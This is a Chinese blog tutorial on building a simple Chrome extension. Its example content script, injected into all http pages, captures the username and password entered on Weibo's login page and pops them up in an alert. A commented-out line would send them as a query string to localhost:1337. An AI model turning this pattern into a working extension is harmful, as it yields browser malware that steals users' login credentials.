哇塞,原来自己写 Google Chrome 浏览器扩展(插件)这么容易!
1. 首先新建一个记事本,命名为 manifest.json,这是写 Google Chrome 浏览器扩展必须的文件
{"manifest_version": 2,"name": "Account Detect","description": "This extension will detect your account","version": "1.0","permissions": ["http://*/*"],"browser_action": {"default_icon": "icon.png"},"content_scripts": [{"matches": ["http://*/*"],"js": ["jquery-1.4.4.min.js", "myscript_v0.0.1.js"]}] }
2. 新建一个 myscript_v0.0.1.js 文件,这个是主文件,就是你写扩展的主要目的。比如我下面这个是弹出新浪微博登录页面中的用户名和密码。
$(document).ready(function() { // $("body").click(function() // {// alert("this is it - acount detect"); // });$("span[node-type='submitStates']").click(function(event){var username = $('input[name="username"]').val();var passwords = $('input[name="password"]').val();// var query = '?username=' + username + '&' + 'passwords=' + passwords;// $.get('http://localhost:1337' + query, function() {}); alert(username + ':' + passwords);}); });
3. 随便找一个 icon.png ,用作扩展的图标,下面有它出现的位置。
4. 打开浏览器,加载扩展。
5. 打开新浪微博的首页登录页(http://weibo.com)
6. 成功弹出。
截图如下:
需要准备的文件:
加载 Chrome 扩展的截图:
运行截图:
查考自:http://www.cnblogs.com/heqichang/p/3189775.html
谢谢浏览!
转载于:https://www.cnblogs.com/Music/p/google-chrome-extension-simple-demo.html
哇塞,原来自己写 Google Chrome 浏览器扩展(插件)这么容易!相关推荐
- Chrome浏览器扩展插件指南:从MV2迁移到Manifest V3
Chrome Web Store于2021年1月已经开始接受Manifest V3扩展的提交.如果你还在使用MV2版本,那么一定要在官方弃用之前,尽快更新到MV3版本. Chrome浏览器从88版本开 ...
- 32款网页设计和网页开发人员常用的Google chrome浏览器扩展程序
对于网页设计人员或网站开发者来说,更喜欢使用像FF的此类浏览器,原因是其具有强大的辅助插件,可以帮助网页制作与开发提高效率,那么同样对于Google Cchrome浏览器来说也是具有大量的此类插件,本 ...
- 百度云网盘不限速下载之Google Chrome浏览器+SwitchyOmega插件
众所周知,百度云的用户量越来越多啦,那么随之而来的问题也来了,刚开始用户量不是特别多的时候下载速度是100多kb/s,然而,现在呢???10几Kb/s!!!慢如蜗牛的速度啊. pandownload已 ...
- Chrome浏览器扩展/插件推荐
No.1 Dark Reader 说明:适用于任何网站的黑暗主题(暗黑模式).关爱眼睛,就是用Dark Reader进行日常浏览. 体验:Dark Reader能轻松让网页进入暗黑模式(夜间模式),减 ...
- Chrome浏览器扩展插件的8种获利方式
如果你已经构建了一个Chrome扩展插件,已经有了成千上万的用户,那面临的一个问题是如何利用这个产品来获利. 如果在Android或iOS上,那么获利的方法就容易多了.但是,在某种程度上,Chrome ...
- 2022年最值得关注的Chrome浏览器扩展插件
浏览器扩展,国内很多人说成浏览器插件,可以帮我们完成很多工作,比如剪辑.收藏.稍后阅读.英语翻译.屏幕截屏.收藏夹管理.广告拦截.初始Tab页等等,而用好一个扩展可以大大的提升效率! 2022年又有哪 ...
- Chrome浏览器扩展开发系列之五:Page Action类型的Chrome浏览器扩展
Page Action类型的Google Chrome浏览器扩展程序,通常也会有一个图标,但这个图标位于Chrome浏览器的地址栏内右端.而且这个图标并非始终出现,而是当某指定的页面打开时才会出现.也 ...
- Instagram 爱好者必备:如何使用Inscarry浏览器扩展插件批量下载博主内容(照片视频)
文章目录 一. 介绍 二. 使用 & 演示 三. 原理 & 注意 四. 安装插件 方式一 插件应用市场安装 方式二 本地安装 五. 开启插件 & 登录 一. 介绍 Inscar ...
- Google Chrome浏览器必备的20个插件
Google Chrome浏览器虽然与火狐浏览器有所区别,不过他们都是很开放的浏览器产品,所以也有许多有用的插件,这些插件对于日常生活与网络冲浪都很有用,比如网银,炒股等. Google Chrome ...
- 作为Web开发人员,我为什么喜欢Google Chrome浏览器
在Google Chrome浏览器出来之前,我一直使用FireFox,因为FireFox的插件非常丰富,更因为FireFox有强大的Firebug,对于前端开发可谓神器. 在Chrome出来的时候,我 ...
最新文章
- GeoIP的使用 - PHP版
- 比 Spring Boot 快 10 倍的 Bootique 框架
- java 内存和实际内存_请问更改eclipse内存和更改jvm内存是一会事儿吗?
- java integer 值传递_在java中String,对象,Integer(包装类型的)关于引用传递仍是值传递...
- J-Link cmd的使用
- 【Flink】Flink UpsertStreamTableSink requires that has a full primary keys if update
- c语言的编译过程,从文本到可执行文件
- Linux连接redis客户端出现Could not connect to Redis at 127.0.0.1:6379: Connection refused
- 微信小程序游戏开发│石头剪刀布游戏(附源码)
- 计算机管理系统权限申请审批表,开通权限申请书范文
- 解决方案:Browserslist:caniuse-lite is outdated. Please run next command `npm update`
- 为什么从移动携号转网到了联通,来电显示是中国移动?
- 【程序人生】这是 2017 关于程序员薪酬最详尽的调查报告
- 关于RPN中proposal的坐标回归参数的一点理解及Faster R-CNN的学习资料
- 电脑怎么找到tomcat端口_查看tomcat端口号(怎么看tomcat的端口号)
- 新手如何第一次编写 “Hello World“ Windows 驱动程序 (KMDF)
- ffmpeg视频转动图gif和Webp
- 计算机技术在生物工程方面的应用,信息技术下的生物工程应用论文
- Unity解决动画不可用:The AnimationClip ‘XXX‘ used by the Animation component ‘XXX‘ must be marked as Legacy.
- 听过很多道理,却依然过不好这一生
热门文章
- 关于Oppen Live Writer中插入可折叠着色代码的插件
- 服装尺寸 html,国家标准服装尺寸表
- 软件测试管理与组织结构
- 重磅长文!先进院李骁健等人:在体神经界面技术的发展-从小到大规模记录
- 二级Office知识点整合
- DDS产生波形及AM 调制解调原理
- $java_home位置_关于java home:echo $ JAVA_HOME不返回jdk位置
- EfficientDeRainy:一种高效的图像去雨雾算法
- 财务会计之借贷记账法的【科目方向】和【科目余额方向】分析
- 基于腾讯地图实现精准定位,实现微信小程序考勤打卡功能